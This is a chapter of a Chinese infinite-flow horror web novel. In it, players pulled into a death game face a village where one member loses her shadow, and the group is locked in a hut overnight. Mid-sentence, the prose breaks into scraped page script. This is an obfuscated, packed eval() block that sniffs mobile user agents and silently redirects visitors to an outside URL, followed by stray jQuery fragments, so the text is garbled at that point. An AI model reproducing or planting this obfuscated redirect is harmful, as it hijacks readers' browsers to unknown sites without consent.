木筷子脱手,落在桌子上,“叮当”的声响在安静的夜色中显得极为突兀。众人疑惑地看向司昼,就见他脸色惨白,目光死死盯着苏芮身后的墙。
晏寻微微侧头,顺着他的目光看过去,动作极快地端起桌上的煤油灯凑近苏芮。
苏芮眉头微皱,有些不悦:“怎么了?好晃眼。”
她伸手去挡,却被身边的应不染按住手,“别动,你看。”
顺着应不染有些凝重的目光看去,苏芮的脸也一寸寸变白。
粗糙的土墙映着微弱的光,煤油灯的光晕将在座的每一个人的影子拉得歪歪扭扭,唯独苏芮的身后,空空如也。
“这是怎么回事?”苏芮猛地起身,无论她怎么动,那片该有影子的地方始终空荡荡的,土墙上像是被硬生生挖掉了一块。
椅子腿摩擦地面发出刺耳的声音,李舟打翻了手边的玉米粥,搪瓷碗在地上打了个圈,黏糊糊的粥水溅得到处都是。
“怎么了这是?”村长像是才注意到了大家的慌乱,如梦初醒般抻着脖子,在看到苏芮空白的身后,脸上的血色瞬间褪得一干二净。他猛地站起身,声音里都带着不可抑制的颤抖,“啊!坏了……你们来的太晚了……”
晏寻劈手捉住村长的手腕,声音还是一如既往的冷:“什么意思?”
村长急得直跺脚,但晏寻力气大的出奇,他一个干巴瘦的小老头根本挣脱不了。他狠狠吸了口气,像是做了什么艰难的决定:“我也……我也不太清楚,只是老一辈的说,每当村里面起雾的时候,总是有人丢影子的。一旦影子丢了,到第二天日头升起来还找不回影子,那人的魂魄也就没了!”
他语速极快,声音很轻,但众人都听得很清楚:“现在说啥都晚了。”
趁晏寻一时不注意,村长不知道从哪里爆发出极大的力气,竟然挣脱了他的桎梏,一把抓住苏芮的手腕。他手指关节粗大,指甲缝里嵌着洗不净的泥。看着瘦弱,力道却大得很,“姑娘,姑娘!你今晚不能去空屋子住了,你得去村东头的祠堂里待着。”
他站起身,快步走到木柜子前,从最底下的抽屉里翻出一把锈迹斑斑的剪子和一沓黄纸,往桌上一放:“拿着这些,到了祠堂,千万别点灯,用这把剪子把纸剪成小人儿,一定要在天亮前,把它们全放在祠堂里面那个黑炉子里烧了!”
“记住,”村长睁着一双有些灰白的眼睛,表情分外惊恐,紧紧抓住苏芮的手腕,“记住!天亮前千万不能回来,听见啥声都不能出祠堂!”
苏芮此时也镇定下来,但是脸色还是有些白。应不染拍拍她的肩,低声道:“没事,我陪你去。”
“不行!”村长突然激动,声音瞬间拔高,怒而瞪向应不染,“这是规矩!你要是去了,不止你和她,咱们都得遭殃!”
煤油灯的火苗又剧烈的晃了晃,众人的影子投在墙上,张牙舞爪地包裹住苏芮。屋外的黑暗愈加浓烈,屋里的寒意也越来越重。
应不染皱眉不悦,刚要说话,苏芮按住她的手,牵了一下嘴角,勉强冲她笑了笑:“没事,单人任务而已,我没问题的。”
祠堂离这里不远,村长指了方向,苏芮就攥着剪子和黄纸往过去了。
司昼望着苏芮模糊的背影,心里惴惴的不安。在村长的催促下,众人跟在他身后,沿着坑坑洼洼的土路往村西头走去。
夜色已经浓得化不开,弯月隐在浓雾之中,脚下一片漆黑,司昼几乎是踩着身前人的脚印走。
他知道晏寻跟在他身后,但对方的脚步声极轻,几乎不可闻。恍惚间,司昼觉得自己身后是一片虚无的黑暗,并没有人跟着。
他下意识回头看去,看到了黑暗中那双熟悉的、古井无波的眼眸。
不肖多时,走到一间看着和村长家差不多的茅草屋前,村长停下脚步,推开那扇同样吱呀作响的木门:“就这了,这里面有两张土炕,你们收拾收拾,凑活一下吧。”
屋里比村长家更简陋些,屋子正中间一张小方桌,墙角堆着几捆干草,炕上铺着些看不出颜色的被褥,空气中有股淡淡的霉味。
“进去就别出来了。”村长站在门口,没往里进,声音在寂静的夜里格外清晰,“不管听到啥动静,是哭是笑,是叫你们名字,都千万别开门,更别往外瞅。天亮了,雾散了,我再来找你们。”
说完,他猛地关上那扇破旧的木门,几乎是跑着离开的,背影在夜色里踉跄了两下,很快消失在浓稠的黑暗中。
司昼推了一下门,没动,看来是在外面闩住了。
屋子里面唯一的窗户也被厚厚的报纸糊住,几人就像是被关在一个密闭的黑盒子。外面的风呜咽不停,屋内只有墙上的老式挂钟“咔哒咔哒”走个不停,显得这一片寂静更加压抑。
站在原地适应了一会,能勉强看清室内布局,司昼摸索着往床边走去。
“这屋子……”应不染戏谑的声音响起,他循声望去,只看到她那头隐隐反光的五彩头发,“这屋子风水不太好啊。”
李舟:“你还懂风水啊?”
应不染也不嫌脏,翻身躺上床,小臂交叠垫在脑后:“我是道士,看不出来吗?”
没听见李舟的回应,半晌,他才干巴巴道:“那确实……不太好看出来。”
刚靠近床边,不知道放了多久没有洗过的床铺,散发出“令人迷醉”的气味,司昼皱着鼻子和它对峙,内心纠结着要不要坐上去。
“这房间怎么了,是有哪里不对吗?”看大家都找好了位置,纠结在三,抱着总不能站一宿的想法,司昼捏着鼻子随大流地爬了上去。
眼睛适应了黑暗,司昼看见应不染翘着腿,手指了指头顶。他眯着眼睛顺势向上看去:“房梁?”
“梁压床,鬼压身。”应不染故意把声音放得很轻,在黑暗中幽幽的,“这是断头煞,轻则梦魇,重则鬼缠身。”
她想了想,又补了一句:“还行吧,不严重。”
小姑娘被吓得脸色煞白,抱膝缩在角落里。李舟铺被子的手卡在半空,干笑一声:“听起来今晚不太妙啊哈哈……”
应不染笑笑没说话,不置可否。
这村子从进来到现在,从头到尾都透露着不对劲,但并没有对他们造成任何实质性的伤害,想来今晚也不会是个平安夜。
司昼和衣躺在床上,手无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411835|184624||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意识地摩挲着怀里的书。这东西功效如此巨大,难免不会有别有用心之人觊觎,他一直没有拿出来,这本书今天也安静得很,一点反应都没有。
前几次发动技能,都是在他性命攸关的时候,难道这是个在紧要关头才能发动的被动技能?而且如果题目答错了又会怎样?
样本太少,实在是无从总结规律。
“欸,哥们,”司昼回过神,看见李舟抱着被子凑过来,似乎是有点怵应不染,特意离她远了些,“哥们,你是咋死的?”
司昼一愣,皱眉道:“什么意思?”
“什么啊?咱们不都是死了才被拉进来的嘛,”李舟也一愣,随即恍然,“哦我没别的意思,就聊聊天。我是出车祸死的,和我女朋友一起,我们是一起进来的,只不过这次没分在一起。”
“给你看我女朋友,漂亮吧?”李舟掏出手机,他的屏保是和他女朋友的合照,两人笑意盈盈,看上去非常幸福。
听了他的话,司昼感觉自己脑袋嗡嗡的。
自己已经死了吗?
那现在他们是在干什么?
“哥们,哥们?”李舟见他没反应,用胳膊肘推了他一下,“不是吧,你真不知道?”
司昼回过神,搓了一下脸:“我……我当时在图书馆,一睁眼就进来了。”
“你是猝死了吧。”应不染懒懒地搭话。
当时他每天两点睡,七点起,白天靠咖啡续命,说是猝死还真有可能。司昼点点头,又想起可能看不见,轻轻“嗯“了一声。
李舟同情道:“咱们这就只有死的时候,有很强的求生意识才能进来。游戏赢了,就能回现实世界再活一段时间。”
司昼脱口:“那如果死了呢?”
“死了就也死了呗。”李舟倒也淡然,“反正也是要死的,怎么都是赚的。”
“死?你想得美。”应不染又用她那副戏谑的语调说道,“死了就算是谢天谢地了,更多的是被困在这个地方,人不人鬼不鬼的待着。”
司昼张了张嘴,没出声,余光扫到李舟也有些诧异的表情,似乎被她一番言论震惊到了。
“那你呢?”司昼抱住膝盖,也往墙边蹭了蹭,“你是怎么死的?”
“我没死,”周遭一片黑暗,但司昼还是感觉到应不染落在自己身上的目光,很平静,“我是自己进来的。”
“为什么?”
“为了我姐姐。”
司昼有些惊诧。一个是因为这鬼地方居然可以主动进来,另一个是居然会有人为了别人主动来这个地方找死。
他是佩服的。
毕竟他是个孤儿,无亲无故,孑然一身。活了这二十来年,最大的愿望就是好好活着,好好学习,将来找个好工作,连过生日许的愿望里都没出现过第二个人。
他只想自己好好的,好好活着。
扪心自问,他绝对不会为了任何一个人,主动来这种地方受苦找死的。
活了也不过是暂时的,死了也不是结束。
“为了救她吗?”
应不染又笑了一下,她似乎很爱笑,声音也很好听:“不,为了杀她。”